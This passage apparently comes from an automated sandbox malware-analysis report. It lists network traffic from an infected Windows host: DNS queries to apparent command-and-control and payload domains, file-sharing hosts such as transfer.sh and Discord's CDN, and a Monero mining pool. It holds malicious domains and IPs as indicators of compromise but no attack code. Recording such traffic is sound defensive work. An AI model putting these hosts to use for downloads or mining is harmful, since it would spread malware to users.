Jan 14, 2022 02:05:10.580250978 CET	51633	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:10.599626064 CET	53	51633	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:10.630966902 CET	50346	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:10.648077965 CET	53	50346	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:12.348078966 CET	50281	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:12.367680073 CET	53	50281	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:13.042699099 CET	56921	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:13.061991930 CET	53	56921	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:13.408149004 CET	59529	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:13.427716017 CET	53	59529	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:13.574724913 CET	64853	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:13.592808008 CET	53	64853	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:13.729203939 CET	56317	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:14.055167913 CET	53	56317	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:14.456901073 CET	51570	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:14.492340088 CET	53	51570	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:15.964288950 CET	53663	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:15.972297907 CET	60070	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:15.989980936 CET	53	53663	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:15.994252920 CET	53	60070	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:16.266052008 CET	58750	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:16.283092976 CET	53	58750	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:16.572613001 CET	60727	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:16.591680050 CET	53	60727	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:16.786498070 CET	63753	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:17.111144066 CET	53	63753	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:19.899734974 CET	54609	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:19.918910027 CET	53	54609	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:22.201224089 CET	52405	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:22.220567942 CET	53	52405	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:25.002746105 CET	56219	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:25.021650076 CET	53	56219	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:25.497436047 CET	52312	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:25.516758919 CET	53	52312	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:25.730263948 CET	64731	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:25.751137972 CET	53	64731	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:27.663001060 CET	60432	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:27.680460930 CET	53	60432	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:30.676215887 CET	64271	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:30.695780993 CET	53	64271	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:31.572189093 CET	51973	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:31.592963934 CET	53	51973	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:32.991698027 CET	55029	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:33.008903980 CET	53	55029	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:47.423535109 CET	58302	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:49.111951113 CET	53091	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:49.139260054 CET	53	53091	8.8.8.8	192.168.2.3
Jan 14, 2022 02:06:01.654231071 CET	64437	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:06:01.674973965 CET	53	64437	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 14, 2022 02:04:31.801337957 CET	192.168.2.3	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Jan 14, 2022 02:04:34.785465002 CET	188.166.28.199	192.168.2.3	9935	(Unknown)	Destination Unreachable
Jan 14, 2022 02:04:37.870059967 CET	188.166.28.199	192.168.2.3	9935	(Unknown)	Destination Unreachable
Jan 14, 2022 02:04:43.868319035 CET	188.166.28.199	192.168.2.3	9935	(Unknown)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 14, 2022 02:04:13.369515896 CET	192.168.2.3	8.8.8.8	0xec4f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:13.849999905 CET	192.168.2.3	8.8.8.8	0xddf9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:14.280734062 CET	192.168.2.3	8.8.8.8	0xae33	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:14.739701033 CET	192.168.2.3	8.8.8.8	0x4a4d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:15.168499947 CET	192.168.2.3	8.8.8.8	0x9454	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:15.625966072 CET	192.168.2.3	8.8.8.8	0x12ba	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:16.987267017 CET	192.168.2.3	8.8.8.8	0x9bc1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:17.421514034 CET	192.168.2.3	8.8.8.8	0xc0b2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:17.582175016 CET	192.168.2.3	8.8.8.8	0x5bd8	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:19.751554012 CET	192.168.2.3	8.8.8.8	0xb223	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:19.912045002 CET	192.168.2.3	8.8.8.8	0x1f5c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:20.076129913 CET	192.168.2.3	8.8.8.8	0xcf18	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:20.417495012 CET	192.168.2.3	8.8.8.8	0xe327	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:20.586698055 CET	192.168.2.3	8.8.8.8	0x2763	Standard query (0)	privacy-tools-for-you-780.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:22.551440954 CET	192.168.2.3	8.8.8.8	0xd17e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:22.740087986 CET	192.168.2.3	8.8.8.8	0xbe29	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:22.901710033 CET	192.168.2.3	8.8.8.8	0xc640	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:23.093297005 CET	192.168.2.3	8.8.8.8	0xe2ba	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:23.301146030 CET	192.168.2.3	8.8.8.8	0x3f7f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:23.469573021 CET	192.168.2.3	8.8.8.8	0x20a9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:23.641709089 CET	192.168.2.3	8.8.8.8	0x3317	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:23.877609015 CET	192.168.2.3	8.8.8.8	0x1e83	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:27.846131086 CET	192.168.2.3	8.8.8.8	0x55cf	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:28.013739109 CET	192.168.2.3	8.8.8.8	0xa04f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:28.211833000 CET	192.168.2.3	8.8.8.8	0xa466	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:28.378593922 CET	192.168.2.3	8.8.8.8	0x3d38	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:30.467469931 CET	192.168.2.3	8.8.8.8	0xdbf1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:31.481967926 CET	192.168.2.3	8.8.8.8	0xdbf1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:31.989335060 CET	192.168.2.3	8.8.8.8	0x91fe	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:32.210180998 CET	192.168.2.3	8.8.8.8	0x7a00	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:32.374434948 CET	192.168.2.3	8.8.8.8	0xf3e3	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:34.254609108 CET	192.168.2.3	8.8.8.8	0x3b99	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:34.425621986 CET	192.168.2.3	8.8.8.8	0x1281	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:34.599854946 CET	192.168.2.3	8.8.8.8	0xec05	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:55.866251945 CET	192.168.2.3	8.8.8.8	0x20d0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:56.025412083 CET	192.168.2.3	8.8.8.8	0x4cb4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:56.188921928 CET	192.168.2.3	8.8.8.8	0xaf38	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:56.680510998 CET	192.168.2.3	8.8.8.8	0x9870	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:56.852638960 CET	192.168.2.3	8.8.8.8	0x8ee8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.080271959 CET	192.168.2.3	8.8.8.8	0x61f2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.241729975 CET	192.168.2.3	8.8.8.8	0x6d6f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.427401066 CET	192.168.2.3	8.8.8.8	0xac40	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.624003887 CET	192.168.2.3	8.8.8.8	0x596f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.780965090 CET	192.168.2.3	8.8.8.8	0x3f8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.952326059 CET	192.168.2.3	8.8.8.8	0xdc6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:58.137726068 CET	192.168.2.3	8.8.8.8	0xffb2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:58.296169996 CET	192.168.2.3	8.8.8.8	0x49e4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:58.452287912 CET	192.168.2.3	8.8.8.8	0x1e5e	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:00.393124104 CET	192.168.2.3	8.8.8.8	0x4144	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:00.552680969 CET	192.168.2.3	8.8.8.8	0x966b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:00.792820930 CET	192.168.2.3	8.8.8.8	0x228	Standard query (0)	goo.su	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:02.674624920 CET	192.168.2.3	8.8.8.8	0xd52f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:03.416105986 CET	192.168.2.3	8.8.8.8	0x22ac	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:03.957252979 CET	192.168.2.3	8.8.8.8	0x9aa2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:04.120733976 CET	192.168.2.3	8.8.8.8	0xa833	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:04.282737017 CET	192.168.2.3	8.8.8.8	0x2f91	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:04.463948965 CET	192.168.2.3	8.8.8.8	0xb872	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:04.645159960 CET	192.168.2.3	8.8.8.8	0x9b32	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:07.159818888 CET	192.168.2.3	8.8.8.8	0x4851	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:07.345921040 CET	192.168.2.3	8.8.8.8	0x4d82	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:07.534579039 CET	192.168.2.3	8.8.8.8	0xb7db	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:09.012049913 CET	192.168.2.3	8.8.8.8	0x4854	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:09.225440025 CET	192.168.2.3	8.8.8.8	0x3b6e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:09.451215029 CET	192.168.2.3	8.8.8.8	0xf829	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:09.658117056 CET	192.168.2.3	8.8.8.8	0x3d8b	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:10.020111084 CET	192.168.2.3	8.8.8.8	0x8de5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:10.247036934 CET	192.168.2.3	8.8.8.8	0x64e9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:10.453973055 CET	192.168.2.3	8.8.8.8	0xc3d1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:10.580250978 CET	192.168.2.3	8.8.8.8	0x8d84	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:10.630966902 CET	192.168.2.3	8.8.8.8	0x1d75	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:12.348078966 CET	192.168.2.3	8.8.8.8	0x649d	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:13.042699099 CET	192.168.2.3	8.8.8.8	0xe0eb	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:13.408149004 CET	192.168.2.3	8.8.8.8	0xccd2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:13.574724913 CET	192.168.2.3	8.8.8.8	0x5fd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:13.729203939 CET	192.168.2.3	8.8.8.8	0xd742	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:14.456901073 CET	192.168.2.3	8.8.8.8	0xfe62	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:15.964288950 CET	192.168.2.3	8.8.8.8	0x2061	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:15.972297907 CET	192.168.2.3	8.8.8.8	0xe5d	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:16.266052008 CET	192.168.2.3	8.8.8.8	0xef42	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:16.572613001 CET	192.168.2.3	8.8.8.8	0x5531	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:16.786498070 CET	192.168.2.3	8.8.8.8	0xadcb	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:19.899734974 CET	192.168.2.3	8.8.8.8	0xcfcc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:22.201224089 CET	192.168.2.3	8.8.8.8	0xf7f4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:25.002746105 CET	192.168.2.3	8.8.8.8	0xc0e0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:25.497436047 CET	192.168.2.3	8.8.8.8	0xc245	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:25.730263948 CET	192.168.2.3	8.8.8.8	0xd128	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:27.663001060 CET	192.168.2.3	8.8.8.8	0x754e	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:30.676215887 CET	192.168.2.3	8.8.8.8	0x5b6a	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:31.572189093 CET	192.168.2.3	8.8.8.8	0xed68	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:32.991698027 CET	192.168.2.3	8.8.8.8	0x7fc1	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:47.423535109 CET	192.168.2.3	8.8.8.8	0x8231	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:49.111951113 CET	192.168.2.3	8.8.8.8	0x3a4f	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)
Jan 14, 2022 02:06:01.654231071 CET	192.168.2.3	8.8.8.8	0xb7d5	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 14, 2022 02:04:13.706455946 CET	8.8.8.8	192.168.2.3	0xec4f	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:14.140429974 CET	8.8.8.8	192.168.2.3	0xddf9	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:14.595504045 CET	8.8.8.8	192.168.2.3	0xae33	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:15.027013063 CET	8.8.8.8	192.168.2.3	0x4a4d	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:15.481961966 CET	8.8.8.8	192.168.2.3	0x9454	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:15.645188093 CET	8.8.8.8	192.168.2.3	0x12ba	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:17.272591114 CET	8.8.8.8	192.168.2.3	0x9bc1	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:17.439094067 CET	8.8.8.8	192.168.2.3	0xc0b2	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:17.869668961 CET	8.8.8.8	192.168.2.3	0x5bd8	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:19.770948887 CET	8.8.8.8	192.168.2.3	0xb223	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:19.931224108 CET	8.8.8.8	192.168.2.3	0x1f5c	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:20.097045898 CET	8.8.8.8	192.168.2.3	0xcf18	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:20.436754942 CET	8.8.8.8	192.168.2.3	0xe327	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:20.874351025 CET	8.8.8.8	192.168.2.3	0x2763	No error (0)	privacy-tools-for-you-780.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:22.570616007 CET	8.8.8.8	192.168.2.3	0xd17e	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:22.757512093 CET	8.8.8.8	192.168.2.3	0xbe29	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:23.006978989 CET	8.8.8.8	192.168.2.3	0xc640	No error (0)	unicupload.top		54.38.220.85	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:23.112380028 CET	8.8.8.8	192.168.2.3	0xe2ba	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:23.320450068 CET	8.8.8.8	192.168.2.3	0x3f7f	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:23.488755941 CET	8.8.8.8	192.168.2.3	0x20a9	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:23.660896063 CET	8.8.8.8	192.168.2.3	0x3317	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:24.162590981 CET	8.8.8.8	192.168.2.3	0x1e83	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:27.865113974 CET	8.8.8.8	192.168.2.3	0x55cf	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:28.035012007 CET	8.8.8.8	192.168.2.3	0xa04f	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:28.231307983 CET	8.8.8.8	192.168.2.3	0xa466	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:28.397983074 CET	8.8.8.8	192.168.2.3	0x3d38	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:31.768563032 CET	8.8.8.8	192.168.2.3	0xdbf1	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:31.801093102 CET	8.8.8.8	192.168.2.3	0xdbf1	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:32.008694887 CET	8.8.8.8	192.168.2.3	0x91fe	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:32.229023933 CET	8.8.8.8	192.168.2.3	0x7a00	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:32.393996954 CET	8.8.8.8	192.168.2.3	0xf3e3	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:32.393996954 CET	8.8.8.8	192.168.2.3	0xf3e3	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:32.393996954 CET	8.8.8.8	192.168.2.3	0xf3e3	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:32.393996954 CET	8.8.8.8	192.168.2.3	0xf3e3	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:32.393996954 CET	8.8.8.8	192.168.2.3	0xf3e3	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:34.273072004 CET	8.8.8.8	192.168.2.3	0x3b99	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:34.444824934 CET	8.8.8.8	192.168.2.3	0x1281	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:34.616914988 CET	8.8.8.8	192.168.2.3	0xec05	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:55.883285999 CET	8.8.8.8	192.168.2.3	0x20d0	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:56.045073032 CET	8.8.8.8	192.168.2.3	0x4cb4	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:56.521358967 CET	8.8.8.8	192.168.2.3	0xaf38	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:56.697865009 CET	8.8.8.8	192.168.2.3	0x9870	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:56.869858027 CET	8.8.8.8	192.168.2.3	0x8ee8	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.098994970 CET	8.8.8.8	192.168.2.3	0x61f2	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.261420965 CET	8.8.8.8	192.168.2.3	0x6d6f	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.446409941 CET	8.8.8.8	192.168.2.3	0xac40	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.643368959 CET	8.8.8.8	192.168.2.3	0x596f	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.798512936 CET	8.8.8.8	192.168.2.3	0x3f8	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:57.971731901 CET	8.8.8.8	192.168.2.3	0xdc6	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:58.156996012 CET	8.8.8.8	192.168.2.3	0xffb2	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:58.315458059 CET	8.8.8.8	192.168.2.3	0x49e4	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:04:58.739171982 CET	8.8.8.8	192.168.2.3	0x1e5e	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:00.412766933 CET	8.8.8.8	192.168.2.3	0x4144	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:00.572159052 CET	8.8.8.8	192.168.2.3	0x966b	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:00.815495014 CET	8.8.8.8	192.168.2.3	0x228	No error (0)	goo.su		104.21.38.221	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:00.815495014 CET	8.8.8.8	192.168.2.3	0x228	No error (0)	goo.su		172.67.139.105	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:02.694268942 CET	8.8.8.8	192.168.2.3	0xd52f	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:03.435744047 CET	8.8.8.8	192.168.2.3	0x22ac	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
